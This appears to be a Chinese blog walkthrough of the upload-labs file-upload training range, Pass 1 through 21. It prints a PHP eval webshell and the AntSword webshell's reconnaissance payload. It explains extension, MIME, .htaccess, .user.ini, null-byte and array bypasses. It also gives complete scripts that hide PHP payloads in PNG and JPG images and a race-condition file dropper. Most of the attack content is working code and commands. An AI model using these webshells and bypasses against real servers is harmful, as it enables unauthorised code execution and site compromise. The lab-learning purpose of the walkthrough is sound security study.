问题
记录BUG—在uploadlabs第三关中—关于phpstudy中修改httpd.conf依旧无法解析.php3d等问题_upload第三关常见错误_dfzy$_$的博客-CSDN博客
我们首先先来了解一下什么是文件上传
首先 很简单
文件上传就是 需要用户进行上传文件 图片或视频等信息
但是如果用户恶意上传木马怎么办?
这里由提到了木马
一句话木马
我们在文件上传的时候 天天都是一句话木马
但是这个木马到底是什么呢
首先我们先要了解一下
web是用什么语言开发的
目前存在
ASP/PHP/JSP/ASPX这些都是web开发的语言
最简单的一句话木马
<?php @eval($_POST['attack']);?>
解释
这里存在了几个方面1.<?php ?>
2.@
3eval()
4$_POST['attack']我们一个一个解释1.就是php语言2.@出现就是说 发生错误 也不进行报错3.eval() 把()里面的当做命令来执行4.$_POST['attack'] 在该路径下接受attack参数 假如我们传入 attack='ls'那么就会被解析为 <?php eval('ls')?>
那么就会执行 ls这个命令
了解完一句话木马 我们了解一下 蚁剑的工作原理
通过指定端口进行抓包可以发现
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){return $out;
};
function asoutput(){
$output=ob_get_contents(); //返回输出缓冲区的内容
ob_end_clean(); //清理(擦除)缓冲区并关闭输出缓冲
echo "c6b05fd97";
echo @asenc($output);echo "d69e35d304";}
ob_start(); //打开输出缓冲区
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); //获取当前url路由的绝对路径
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
else{
$R.="/";}$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //获取目录,uid,系统信息,用户等信息
Pass-1 前端验证
提示要上传的是图片
我们看看如果不上传图片会怎么样
发现被过滤了
我们来看看源代码
发现只能上传 jpg png gif的文件 并且这个是一个js函数
这里有两个方式
1.通过浏览器的插件 关闭这个前端函数
然后就可以上传 一句话木马了
2.通过bp来抓包修改后缀
上传图片马
修改为php 放包
最后通过蚁剑连接一下就可以了
Pass-2 文件类型的匹配
这道题是文件类型的匹配
通过源代码 可以发现 上传的类型 要是
image/jpeg
image/png
imgae/gif
这类才可以实现上传
这题和第一题的第二个解法一样
通过上传 jpg 修改后缀即可
Pass-3 黑名单过滤不全
这道题只过滤了一个 php
我们首先关闭前端验证
然后fuzz一下
发现 只要不是php 就都可以
我们直接上传一个 phtml类 链接即可
Pass-4 .htaccess
首先我们了解一下什么事.htaccess
如果我们不存在服务器的root权限
但是想修改 服务器配置 就可以在 apache中打开选项
然后我们就可以通过 .htaccess 来配置服务器了
在.htaccess 中写入
<FilesMatch "shell.png">
SetHandler application/x-httpd-php
</FilesMatch>
首先指定 shell.png
然后作为php文件执行
在这道题
我们首先上传 .htaccess 然后上传 shell.png 即可
然后访问 shell.png 链接即可
Pass-5 .user.ini
Upload-labs Pass-05 .user.ini文件上传_upload labs user.ini_baynk的博客-CSDN博客
首先了解什么是 .user.ini
.user.ini 其实就是用户自定义的 php.ini
我们可以通过写入
auto_prepend_file = 木马名
来让我们访问该网站的文件的时候 自动包含我们的木马
我们可以进行测试
auto_prepend_file = shell.png
我们上传 .user.ini
再上传 shell.png
其中 目录下一直存在一个 readme.php
那我们网站访问 该php的时候 shell.png自动会被包含在其中
记住该靶场现在的是
该版本
phpinfo需要是CGI这个
才可以使用 .user.ini
按照上面的上传
然后访问 readme.php
shell.png就已经被自动包含在这个文件内了
我们只需要链接即可
记住链接的路径也是该文件
upload/readme.php
Pass-6 php后缀大小写绕过
发现修改了
所以我们只能通过另一个方法了
就是修改php后缀
在windows中 php Php phP pHp都可以作为php文件执行
所以我们抓包修改为 phP后缀
发现上传成功
链接也可以成功
Pass-7 空格绕过
通过比对源代码
发现少了 文件末尾去空格个这个
在windows 中 如果你手动在后缀未中加空格
系统会自动删除
这个就是利用这个
通过 php空格 绕过检查 然后windows删除空格 变为 php
所以通过抓包
加一个空格
发现上传 成功
Less-8 点绕过
这个特性也是windows的
和空格类似
如果输入 1.txt. windows会自动识别为 1.txt 去掉 点
Pass-9 ::$DATA 绕过
https://www.cnblogs.com/1ink/p/15102288.html
NTFS ADS的前世今生 - 简书
我们写入
shell.php::$DATA
这个时候 服务器首先读取 $后是否为分区的可执行文件
发现属于数据流
所以服务器并不会认为这个是一个php文件
但是操作系统知道这个是一个php文件 就会把里面的内容返回到目录中
这样就绕过了黑名单
抓包
上传成功
Pass-10 无换名且无循环过滤 点空格点 绕过
发现把我们之前的全过滤了
但是其实没有过滤完整
通过fuzz可以发现
这些其实可以上传的
并且可以通过 pHp1
链接
但是这道题我们主要的做法不是这个
我们首先通过上传shell.php来分析
if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
假设没有过滤$file_name = trim($_FILES['upload_file']['name']);
读取名和后缀 shell 和.php$file_name = deldot($file_name);//删除文件名末尾的点
删除文件名的 shell.php$file_ext = strrchr($file_name, '.');
从.开始读取作为后缀 这里读取完是 php$file_ext = strtolower($file_ext); //转换为小写
还是php$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
还是php$file_ext = trim($file_ext); //首尾去空
还是phpif (!in_array($file_ext, $deny_ext)) {
如果不在黑名单$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;
直接把 原文件上传if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;
这里我们发现
1. 只过滤1次
2.没有修改名字和后缀
所以我们可以通过构造 . . 来绕过 点空点
这样过滤后就只剩点
例如
shell.php. .
过滤完
shell.php.
这样就实现了上传
Pass-11 双写绕过
发现黑名单会被替换为空
这样就和sql注入一样的办法即可
双写绕过
pphphp
我们试试看
上传成功
Pass-12 白名单过滤和GET的00截断
首先 00截断是因为系统读取到了 %00后就默认结束了
就会截断后面的字符串
第二
利用条件
php 要小于 5.3.4
php.ini里
我们可以开始利用
猜测是白名单过滤
我们抓包看看
发现 POST类型 但是存在GET参数
并且写着 save_path
保存地址
这里就是我们利用%00截断的地方
我们通过源代码也能发现
存放的方式就是
/upload/随机数日期.后缀
其中upload是get参数的
那我们就可以通过get来截断
/upload/1.php%00随机数日期.后缀
1.php是我们随便构造的 用来保存内容
如果我们不截断
他就是现在这样
如果我们截断了
他就会变为
绕过成功
Pass-13 POST类型的00截断和通过bp修改来实现00截断
和12一样
抓包后就发现了 post中存在 上传路径
直接00截断
但是这里存在一个问题
POST类型并不会和GET一样自动解码
所以我们使用BP来修改
+的十六进制是2b
点击hex
在2b位置修改为00
然后放包
上传成功
Pass-14 图片马的制作和通过文件上传来实现shell
首先我们看看这道题目的源代码
通过读取两个字节 并且把两个字节变为 10进制
然后链接在一起
进行比对 如果是255216 变为jpg
这里我们首先构造图片马
图片马 首先需要图片是一个正常的图片 因为需要绕过检测
然后把我们的一句话木马写入即可
copy 图片/b + 木马/a 最后的名字
上传成功
通过文件上传漏洞来看看
能不能访问这个文件
执行成功
Pass-15 辨识识别图片的函数
这个用14的做法就可以上传图片码
主要是看看源代码来了解一下函数
getimagesize($filename);
获取图片的大小
image_type_to_extension($info[2])
获取图片的后缀stripos($types,$ext)判断 type中存不存在ext 不区分大小写
Pass-16 php_exif
首先打开 php_exif
其次就是和之前一样 上传图片码
这里的 php_exif 就是识别上传的类型
case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; default:return false;break;
识别为3个类型其中一个才可以过
就可以了
Pass-17 二次渲染
【文件上传绕过】——二次渲染漏洞_二次渲染绕过_剑客 getshell的博客-CSDN博客
首先 通过源代码和上传测试 我们能发现 所有的上传 都被重新命名 和重新渲染
就是重新修改了文件中的数据 只留下了 和图片信息有关的内容
GIF的二次渲染绕过
这里主要 是对GIF 因为GIF对文件的格式要求精度不高
所以不会容易损坏
首先我们传入一个GIF
使用010打开这个文件
这里匹配就是两个文件都存在的内容
这里我们要注意
我们写入一句话的时候 不能破坏图片 不然就是无法注入
我们来保存后重新上传
注意我们写入的时候最好写在不破坏图片内容的地方 不然有可能无法实现绕过
PNG的二次渲染绕过
我的window没有配置php 所以使用kali
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>
然后执行
php 大牛的代码
就会自动生成png图片
然后上传即可
成功
JPG的二次渲染绕过
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
一样的代码 但是这次需要指定jpg文件
最好多选几次
反正我是试了很多次图片 才可以上传成功
Less-18 条件竞争
先给出一句话木马
<?php fputs(fopen('2.php','w'),'<?php phpinfo();?>');?>
这个的意思是如果访问了该文件 那么就生成一个 2.php写入phpinfo
条件竞争是什么呢
当一个事务为多线程的时候
一个事务还没有结束 但是另一个事务立马访问了
这样就会形成没有"扣款"
运用到这里就是 我们上传的木马 还没有删除 就被访问了 这样就会留下我们的另一个木马
这里注意的是
move_uploaded_file()函数将上传文件临时保存,再进行判断
这里我们可以开始看看这道题目
写入木马抓包 发到爆破
开始
然后我们去访问 1.php
然后就会生成2.php
这个时候去访问2.php 就得到了shell
Less-19 条件竞争/图片码
这里补充一下条件竞争的前提
是服务器暂时保存 ->比对->删除
我们打的就是时间差
这道题目也是通过条件竞争来绕过
无法使用apache特性
就是apache遇到无法解析的后缀
就会从右边往左边解析所以可以构造 shell.php.zip
还是老老实条件竞争吧
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {
先对其进行上传
然后使用Myupload的upload方法
来对上传的进行判断
case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break; default:$msg = '未知错误!';break;}
下面是Myupload的代码
//myupload.php
class MyUpload{
......
......
...... var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );......
......
...... /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret ); }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, we are ready to move the file to destination$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );}
......
......
......
};
这里主要是收集一些图片的信息
并且设置白名单
我们在上传测试中也能发现
修改了名字
所以我们可以使用条件竞争
首先准备图片码
然后上传抓包和18一样操作
然后这里需要访问的是文件包含 因为我们上传的是GIF文件
这个时候就上传成功了
Less-20 文件夹绕过 00截断
这里使用00 截断即可
php
后面有 %00 但是是编码过的
还有一个是文件夹绕过
1/2.php/.
这样是1文件夹下的2.php文件夹下的文件
这样因为/.不存在 所以会以文件夹的命名方式来创建一个2.php
但是2.php又是文件 所以会创建一个php文件
这里就上传成功了
Less-21 数组绕过
Upload-labs Pass-20 数组绕过_baynk的博客-CSDN博客
首先解读一下源代码
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{
这里就是检查MIME 可以通过BP抓包修改//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));
这里注意 通过 .来分割 然后把小写的文件 作为两个数组
假如我们上传 shell.png 他就是 A=['shell','png']}
把所有变为小写$ext = end($file);
end(array)函数,输出数组中的当前元素和最后一个元素的值。
指针调位最后一个 png$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}
白名单else{$file_name = reset($file) . '.' . $file[count($file) - 1];
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
shell
count(array)函数,计算数组中的单元数目,或对象中的属性个数
就是数组个数-1然后拼接$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}
PHP 在线工具 | 菜鸟工具
如果我们指定这个把这个数组加到array[shell.php,null,jpg]
那count回来就是2
这个时候数组里只有两个值
那么 2-1 =1 就会 但是 array[1] 没有内容
不存在返回值 那么就为 ' ' 所以最后拼接就是 shell.php.
那么就成功绕过了
那我们开始做题
抓包
修改MIME
我们自己设定数组
这样就数组就是
save_path[shell.php,NULL,png]count为22-1=1 1为NULL所以拼接就是 shell.php.''其实就是 shell.php.
这样就上传成功